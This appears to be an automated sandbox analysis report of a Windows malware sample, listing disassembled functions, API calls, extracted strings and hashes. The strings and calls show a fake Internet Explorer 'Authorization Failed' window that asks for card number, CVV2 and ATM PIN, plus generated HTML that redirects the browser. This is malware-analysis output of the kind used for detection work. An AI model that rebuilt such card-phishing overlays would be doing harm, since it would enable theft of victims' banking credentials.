Instruction ID: bd194e91918afd51b414fff694719a57869652e1cfdb10064340714cce8cfdd4
Opcode Fuzzy Hash: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction Fuzzy Hash: 98F062D1E2C28124FF3162764C4673FAD8A9782754F281477E482F62C2E5BCAD52922B

Function 00401219 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction ID: 1ee26eb31ace3a5089fdf6d32769bdd241f616d51084a453fd18da055c90a8b4
Opcode Fuzzy Hash: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction Fuzzy Hash: 52F09670F44300BBDB206F55DD03F167AA8EB08F1CF90002AFA44611D1D67D6420569F

Function 0040121F Relevance: 3.0, APIs: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction ID: 22fee5bca0d1ee63cc250ffe024ab50772efda8fe48dde45178863df2fdfff2b
Opcode Fuzzy Hash: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction Fuzzy Hash: BEF090B0F44300BBDA206F55AC03F1A7AA8EB08B1CFA0002AFA44611E1DA7D6420569F

Non-executed Functions

Function 00405133 Relevance: 65.0, APIs: 28, Strings: 9, Instructions: 238
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00405181
lstrlenA.KERNEL32(?,?), ref: 00405195
lstrlenA.KERNEL32(?,?,?), ref: 004051A6
lstrlenA.KERNEL32(?,?,?,?), ref: 004051C4
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004051D5
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 004051E6
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405218
memset.CRTDLL(?,00000000,00000010,?,?,?,?,?,?), ref: 0040522E
GetTickCount.KERNEL32 ref: 00405239
srand.CRTDLL(00000000,?,00000000,00000010,?,?,?,?,?,?), ref: 0040523F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

LocalFree.KERNEL32(?,?,?,?,?,?,?), ref: 0040526C
ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,?,?), ref: 00405290
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052D4

Strings

7O{M, xrefs: 0040513F
\Iexplore.exe , xrefs: 004052EC
%s%u - Microsoft Internet Explorer, xrefs: 004053C8
X-okRecv11, xrefs: 00405458
Path, xrefs: 00405250
IEFrame, xrefs: 004053F2
MicroSoft-Corp, xrefs: 004053C3
Software\Microsoft\IE Setup\Setup, xrefs: 00405255
D, xrefs: 00405334

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: lstrlen$FreeLocal$CountEnvironmentExpandIncrementInterlockedOpenStringsTickmemsetsrand
String ID: %s%u - Microsoft Internet Explorer$7O{M$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 2987844104-963083691
Opcode ID: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction ID: eaf183550e18aa99804e3b29fd782d62b91feccc71c8544a1a81296d936fe118
Opcode Fuzzy Hash: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction Fuzzy Hash: 8E91B471E092186BDF20EB65CC49BDEB779AF40308F1440F6E208B61D1DAB96EC58F59

Function 00405C09 Relevance: 59.7, APIs: 25, Strings: 9, Instructions: 230stringfilesleepCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405C3C
GetTickCount.KERNEL32 ref: 00405C54
srand.CRTDLL(00000000,?), ref: 00405C5A
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405C69
memset.CRTDLL(?,00000000,00000010,0042C48C,00000000,?), ref: 00405C7F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,00000000,?), ref: 00405CC2

Part of subcall function 0040570C: GetTempPathA.KERNEL32(00000104,?), ref: 00405730
Part of subcall function 0040570C: strcat.CRTDLL(?,.htm), ref: 00405764
Part of subcall function 0040570C: sprintf.CRTDLL(?,<html>), ref: 00405778
Part of subcall function 0040570C: rand.CRTDLL ref: 00405786
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 004057A4
Part of subcall function 0040570C: rand.CRTDLL ref: 004057AC
Part of subcall function 0040570C: rand.CRTDLL ref: 004057BE
Part of subcall function 0040570C: sprintf.CRTDLL(?,%s,?), ref: 004057DF
Part of subcall function 0040570C: rand.CRTDLL ref: 004057E7
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405805
Part of subcall function 0040570C: strcat.CRTDLL(?,<head>), ref: 00405819
Part of subcall function 0040570C: rand.CRTDLL ref: 00405827
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405845
Part of subcall function 0040570C: rand.CRTDLL ref: 0040584D

strcat.CRTDLL(?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405CF7
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D0A

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D2B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405D95
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DA8
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DCA
FindWindowA.USER32(IEFrame,?), ref: 00405DED
Sleep.KERNEL32(000003E8,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405DFD
Sleep.KERNEL32(0000F000,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405E20
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405E38
CopyFileA.KERNEL32(?,?,00000000), ref: 00405E85
DeleteFileA.KERNEL32(?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EA4
lstrlenA.KERNEL32(<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EAE
strncmp.CRTDLL(00000000,<HTML><!--,00000000,<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000), ref: 00405EBA
lstrlenA.KERNEL32(<HTML><!--,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405ECB
LocalFree.KERNEL32(00000000,?,?,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000), ref: 00405F0F
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F2B
TerminateProcess.KERNEL32(?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F38
CloseHandle.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F49

Strings

\Iexplore.exe , xrefs: 00405CEB
%s%u - Microsoft Internet Explorer, xrefs: 00405DBE
X-okRecv11, xrefs: 00405E3F
Path, xrefs: 00405C90
IEFrame, xrefs: 00405DE8
MicroSoft-Corp, xrefs: 00405DB9
D, xrefs: 00405D39
Software\Microsoft\IE Setup\Setup, xrefs: 00405C95
<HTML><!--, xrefs: 00405EA9, 00405EB4, 00405EC6

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: strcat$rand$Filelstrlensprintf$CloseDeleteHandleProcessSleepThreadWindowmemset$CopyCountCreateCurrentDesktopEnvironmentExpandFindFreeIncrementInterlockedLocalOpenPathStringsTempTerminateTextTicksrandstrncmp
String ID: %s%u - Microsoft Internet Explorer$<HTML><!--$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 4103625910-1993706416
Opcode ID: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction ID: dc295d18008c6f961fbff17ccdc6ec9b88b81df80f56d8f6893aa762a7281c5f
Opcode Fuzzy Hash: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction Fuzzy Hash: 7B81A8B1E041186ADB20B665CC4ABDEB7BD9F40304F1444F7B608F61D1E6B99F848F59

Function 00406753 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

Part of subcall function 004013CC: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004013EF

Part of subcall function 004054D7: lstrlenA.KERNEL32(?), ref: 004054F1
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?), ref: 00405505
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?), ref: 00405513
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
Part of subcall function 004054D7: LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
Part of subcall function 004054D7: memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
Part of subcall function 004054D7: CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
Part of subcall function 004054D7: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
Part of subcall function 004054D7: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8

Part of subcall function 00401348: RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00401375

Strings

Software\Microsoft, xrefs: 004067C5, 0040680B

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: lstrlen$Create$FileThread$AllocCloseCodeExitHandleLocalObjectOpenSingleSizeWaitmemcpy
String ID: Software\Microsoft
API String ID: 3232930010-89712428
Opcode ID: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction ID: db3b40ff5e41acc5bdae17a6e42d24a18e18c948de20eb22515eb7809feee29e
Opcode Fuzzy Hash: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction Fuzzy Hash: C3219972E002097BEB10AE998D42FDEBAA8DB04714F644077FB00B61E1E6B55A108B99

Function 00406075 Relevance: 124.7, APIs: 52, Strings: 19, Instructions: 488
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405FFA: GetWindow.USER32(?,00000005), ref: 00406019

Part of subcall function 00405FFA: GetClassNameA.USER32(00000000,?,00000FFF), ref: 0040603B

ShowWindow.USER32(00000000), ref: 004060B9
GetWindowRect.USER32(00000000,?), ref: 004060C9
CreateWindowExA.USER32(00000200,QueenKarton,0042CBF0,50800000,00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004060FF
CreateWindowExA.USER32(00000000,STATIC, Authorization Failed.,50800000,00000014,00000014,?,0000003C,00000000,00000000,00000000,00000200), ref: 00406135
CreateWindowExA.USER32(00000000,STATIC,0042CBF0,50800009,00000014,00000051,?,0000012C,00000000,00000000,00000000,STATIC), ref: 00406179
CreateFontA.GDI32(00000014,00000008,00000000,00000000,000002BC,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 004061A2
SendMessageA.USER32(00000030,00000000,00000001,00000000), ref: 004061B4
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,00000014,00000014,00000064,00000064,00000000,00000000,STATIC,0042CBF0), ref: 004061E2
SendMessageA.USER32(00000000,00000143,00000000,MasterCard), ref: 004061FF
SendMessageA.USER32(00000143,00000000,Visa,00000000), ref: 00406216
SendMessageA.USER32(0000014E,00000001,00000000,00000143), ref: 00406233
SendMessageA.USER32(0000014E,00000000,00000000,00000143), ref: 00406249
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,0000007A,00000014,00000032,0000012C,00000000,00000000,0000014E,00000000), ref: 0040627A
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX), ref: 004062B9
sprintf.CRTDLL(?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX,0042CBF0), ref: 004062DF
SendMessageA.USER32(00000143,00000000,?,?), ref: 004062F5
sprintf.CRTDLL(?,20%.2u,-00000002,00000143,00000000,?,?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C), ref: 0040630B
SendMessageA.USER32(00000143,00000000,?,?), ref: 00406324
CreateWindowExA.USER32(00000000,STATIC,Card && expiration date,50000000,00000114,0000006E,00000081,00000010,00000000,00000000,00000143,00000000), ref: 0040636B
CreateWindowExA.USER32(00000000,STATIC,Your card number,50000000,000000C3,00000087,00000067,00000010,00000000,00000000,00000000,STATIC), ref: 004063AA
CreateWindowExA.USER32(00000000,STATIC,3-digit validation code on back of card (cvv2),50000000,00000064,000000A0,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 004063E3
CreateWindowExA.USER32(00000000,STATIC,ATM PIN-Code,50000000,000000A0,000000B9,00000056,00000010,00000000,00000000,00000000,STATIC), ref: 0040641C
CreateWindowExA.USER32(00000000,STATIC,Unable to authorize. ATM PIN-Code is required to complete the transaction.,50000000,0000001E,000000E6,000001E4,00000010,00000000,00000000,00000000,STATIC), ref: 00406455
CreateWindowExA.USER32(00000000,STATIC,Please make corrections and try again.,50000000,0000001E,000000FF,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 0040648E
CreateWindowExA.USER32(00000200,EDIT,00429180,50800000,00000014,0000002D,00000082,00000018,00000000,00000000,00000000,STATIC), ref: 004064C7
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,00000046,00000028,00000018,00000000,00000000,00000200,EDIT), ref: 00406503
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,0000005F,00000064,00000018,00000000,00000000,00000200,EDIT), ref: 00406539
CreateWindowExA.USER32(00000000,BUTTON,Click Once To Continue,50800000,0000001E,00000140,0000009B,00000017,00000000,00000000,00000200,EDIT), ref: 00406572
CreateFontA.GDI32(00000010,00000006,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 0040659B
SendMessageA.USER32(00000030,00000000,00000001,00000010), ref: 004065B3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065C3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065D3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065E3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065F9
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406609
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406619
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406632
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406642
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406652
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406662
GetWindowLongA.USER32(000000FC,00000030), ref: 0040666F
SetWindowLongA.USER32(000000FC,004077E4,00000000), ref: 00406686
GetWindowLongA.USER32(000000FC,00000001), ref: 00406699
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066B0
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066BD
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066D4
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066E1
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066F8
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406705
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 0040671C
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406732
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 00406749

Strings

3-digit validation code on back of card (cvv2), xrefs: 004063D7
MasterCard, xrefs: 004061F2
Visa, xrefs: 00406204
BUTTON, xrefs: 0040656B
COMBOBOX, xrefs: 004061DB, 00406273, 004062B2
Click Once To Continue, xrefs: 00406566
Unable to authorize. ATM PIN-Code is required to complete the transaction., xrefs: 00406449
ATM PIN-Code, xrefs: 00406410
DocObject, xrefs: 00406089
Card && expiration date, xrefs: 0040635F
Your card number, xrefs: 0040639E
Authorization Failed., xrefs: 00406129
20%.2u, xrefs: 00406302
QueenKarton, xrefs: 004060F5
Explorer, xrefs: 00406098
STATIC, xrefs: 0040612E, 00406172, 00406364, 004063A3, 004063DC, 00406415, 0040644E, 00406487
Please make corrections and try again., xrefs: 00406482
%.2u, xrefs: 004062D6
EDIT, xrefs: 004064BD, 004064F9, 0040652F

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: Window$CreateMessageSend$Long$Fontsprintf$ClassNameRectShow
String ID: Authorization Failed.$%.2u$20%.2u$3-digit validation code on back of card (cvv2)$ATM PIN-Code$BUTTON$COMBOBOX$Card && expiration date$Click Once To Continue$DocObject$EDIT$Explorer$MasterCard$Please make corrections and try again.$QueenKarton$STATIC$Unable to authorize. ATM PIN-Code is required to complete the transaction.$Visa$Your card number
API String ID: 1504929638-2953596215
Opcode ID: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction ID: 07d4a47d2009414dc6278682baa0b56b1decc7bc7d2f3e077783c243e1dcc7f7
Opcode Fuzzy Hash: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction Fuzzy Hash: 43F16F31BC43157AFA212B61ED43FA93A66AF14F44F60413AB700BD0F1DAF92911AB5D

Function 0040570C Relevance: 122.9, APIs: 56, Strings: 14, Instructions: 371
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 00405730
strcat.CRTDLL(?,.htm), ref: 00405764
sprintf.CRTDLL(?,<html>), ref: 00405778
rand.CRTDLL ref: 00405786
strcat.CRTDLL(?,0042CC6C), ref: 004057A4
rand.CRTDLL ref: 004057AC
rand.CRTDLL ref: 004057BE
sprintf.CRTDLL(?,%s,?), ref: 004057DF
rand.CRTDLL ref: 004057E7
strcat.CRTDLL(?,0042CC6C), ref: 00405805
strcat.CRTDLL(?,<head>), ref: 00405819
rand.CRTDLL ref: 00405827
strcat.CRTDLL(?,0042CC6C), ref: 00405845
rand.CRTDLL ref: 0040584D
rand.CRTDLL ref: 0040585F
sprintf.CRTDLL(?,%s,?), ref: 00405880
sprintf.CRTDLL(?,%s<title>%s%u</title>,?,MicroSoft-Corp,?), ref: 004058A3
rand.CRTDLL ref: 004058B1
strcat.CRTDLL(?,0042CC6C), ref: 004058CF
strcat.CRTDLL(?,</head>), ref: 004058E3
rand.CRTDLL ref: 004058EB
strcat.CRTDLL(?,0042CC6C), ref: 00405909
strcat.CRTDLL(?,<body>), ref: 0040591D
rand.CRTDLL ref: 0040592B
rand.CRTDLL ref: 0040593D
sprintf.CRTDLL(?,%s,?), ref: 0040595E
strcat.CRTDLL(?,<script>), ref: 00405972
rand.CRTDLL ref: 0040597A
strcat.CRTDLL(?,0042CC6C), ref: 00405998
strcat.CRTDLL(?,function x()), ref: 004059AC
rand.CRTDLL ref: 004059C0
strcat.CRTDLL(?,0042CC6C), ref: 004059DE
strcat.CRTDLL(?,0042CA2E), ref: 004059F2
rand.CRTDLL ref: 004059FA
strcat.CRTDLL(?,0042CC6C), ref: 00405A18
sprintf.CRTDLL(?,%sself.parent.location="%s";,?,?), ref: 00405A42
rand.CRTDLL ref: 00405A4A
strcat.CRTDLL(?,0042CC6C), ref: 00405A68
strcat.CRTDLL(?,0042CA14), ref: 00405A7C
rand.CRTDLL ref: 00405A8A
strcat.CRTDLL(?,0042CC6C), ref: 00405AA8
rand.CRTDLL ref: 00405AB0
sprintf.CRTDLL(?,%ssetTimeout("x()",%u);,?), ref: 00405AD9
rand.CRTDLL ref: 00405AE1
strcat.CRTDLL(?,0042CC6C), ref: 00405AFF
strcat.CRTDLL(?,</script>), ref: 00405B13
rand.CRTDLL ref: 00405B27
strcat.CRTDLL(?,0042CC6C), ref: 00405B45
rand.CRTDLL ref: 00405B4D
rand.CRTDLL ref: 00405B5F
sprintf.CRTDLL(?,%s,?), ref: 00405B80
strcat.CRTDLL(?,</body><html>), ref: 00405B94
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BAC
lstrlenA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BCD
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BE9
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BF4

Strings

<script>, xrefs: 00405966
<html>, xrefs: 0040576C
</body><html>, xrefs: 00405B88
<body>, xrefs: 00405911
function x(), xrefs: 004059A0
%sself.parent.location="%s";, xrefs: 00405A36
<head>, xrefs: 0040580D
%s<title>%s%u</title>, xrefs: 00405897
%ssetTimeout("x()",%u);, xrefs: 00405ACD
MicroSoft-Corp, xrefs: 0040588B
</script>, xrefs: 00405B07
.htm, xrefs: 0040575E
</head>, xrefs: 004058D7
%s, xrefs: 004057D3, 00405874, 00405952, 00405B74

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
